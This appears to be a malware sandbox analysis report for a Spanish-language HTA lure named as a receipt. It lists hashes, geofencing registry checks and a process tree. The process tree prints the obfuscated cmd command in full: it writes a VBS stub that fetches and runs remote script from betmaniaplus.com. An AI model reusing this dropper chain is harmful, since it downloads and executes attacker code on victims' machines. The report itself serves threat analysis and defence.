d873e8acacb72ab8a79133141463b0ccb9a17d948da2865d9045c3e22bed7bf0

Analysis

max time kernel
138s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20230915-es
resource tags

arch:x64arch:x86image:win10v2004-20230915-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
18/09/2023, 16:02

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General

Target

Comprobante_1296926.hta
Size

26KB
MD5

15e5781d66044202528f9f4a5af2eef5
SHA1

1bf79e56761c45850c8ea076590074eda11d3e38
SHA256

d873e8acacb72ab8a79133141463b0ccb9a17d948da2865d9045c3e22bed7bf0
SHA512

3cb0e5f8aa054a75e9ecef34648e83dae9377ef554388f0bbc4a07654e2387f5c94d830eb2c31fd0562b02aad4fb18e231fc2a0d6a12cb529c6d652c74cc9c53
SSDEEP

768:CNnHIy4gnvcVbmDth1WPW95DKRfWh2qduHRd2:CNoyBwqP1W+9IRe/duHRd2

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
16	3568	WScript.exe
18	3568	WScript.exe
20	3568	WScript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 3716 wrote to memory of 1016	3716	mshta.exe	84
PID 3716 wrote to memory of 1016	3716	mshta.exe	84
PID 3716 wrote to memory of 1016	3716	mshta.exe	84
PID 1016 wrote to memory of 2876	1016	cmd.exe	87
PID 1016 wrote to memory of 2876	1016	cmd.exe	87
PID 1016 wrote to memory of 2876	1016	cmd.exe	87
PID 1016 wrote to memory of 5024	1016	cmd.exe	86
PID 1016 wrote to memory of 5024	1016	cmd.exe	86
PID 1016 wrote to memory of 5024	1016	cmd.exe	86
PID 1016 wrote to memory of 4804	1016	cmd.exe	88
PID 1016 wrote to memory of 4804	1016	cmd.exe	88
PID 1016 wrote to memory of 4804	1016	cmd.exe	88
PID 1016 wrote to memory of 1348	1016	cmd.exe	89
PID 1016 wrote to memory of 1348	1016	cmd.exe	89
PID 1016 wrote to memory of 1348	1016	cmd.exe	89
PID 1016 wrote to memory of 2928	1016	cmd.exe	90
PID 1016 wrote to memory of 2928	1016	cmd.exe	90
PID 1016 wrote to memory of 2928	1016	cmd.exe	90
PID 2928 wrote to memory of 3568	2928	cmd.exe	91
PID 2928 wrote to memory of 3568	2928	cmd.exe	91
PID 2928 wrote to memory of 3568	2928	cmd.exe	91

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Comprobante_1296926.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k echo|set /p=^"s7p=".":szX="i":mni9="g":kqm=":":GetO^">C:\\Users\\Public\\tpk.vbs&echo|set /p=^"bject("sCr"+szX+"pt"+kqm+"hT"+"Tps"+kqm+"//betmaniaplus"+s7p+"com//"+mni9+"1")^">>C:\\Users\\Public\\tpk.vbs&c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\tpk.vbs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="s7p=".":szX="i":mni9="g":kqm=":":GetO" 1>C:\\Users\\Public\\tpk.vbs"
    3⤵
    PID:5024
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:2876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:4804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="bject("sCr"+szX+"pt"+kqm+"hT"+"Tps"+kqm+"//betmaniaplus"+s7p+"com//"+mni9+"1")" 1>>C:\\Users\\Public\\tpk.vbs"
    3⤵
    PID:1348
- - \??\c:\windows\SysWOW64\cmd.exe
    c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\tpk.vbs
    3⤵
    - Checks computer location settings
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2928
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Public\tpk.vbs"
      4⤵
      Blocklisted process makes network request
      PID:3568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\tpk.vbs

Filesize
115B

MD5
3ac1fe00346022002370d0c49f42a422

SHA1
bbde71875b8b2a7d437ebcdad956f0ec064046dd

SHA256
e5f62adcac4e1cf87e2432a0539ee0cf571c9451ec5cfe3b2ac099dbc14a63dd

SHA512
cd996093b652c309ea60f741a8b0c7ffaa7798e1ae28a5bef642e21052f5e840aa102e70978875469d148da264a9cb465cd506c2741b68842625001fb53ec160

Download Submit
C:\Users\Public\tpk.vbs

Filesize
115B

MD5
3ac1fe00346022002370d0c49f42a422

SHA1
bbde71875b8b2a7d437ebcdad956f0ec064046dd

SHA256
e5f62adcac4e1cf87e2432a0539ee0cf571c9451ec5cfe3b2ac099dbc14a63dd

SHA512
cd996093b652c309ea60f741a8b0c7ffaa7798e1ae28a5bef642e21052f5e840aa102e70978875469d148da264a9cb465cd506c2741b68842625001fb53ec160

Download Submit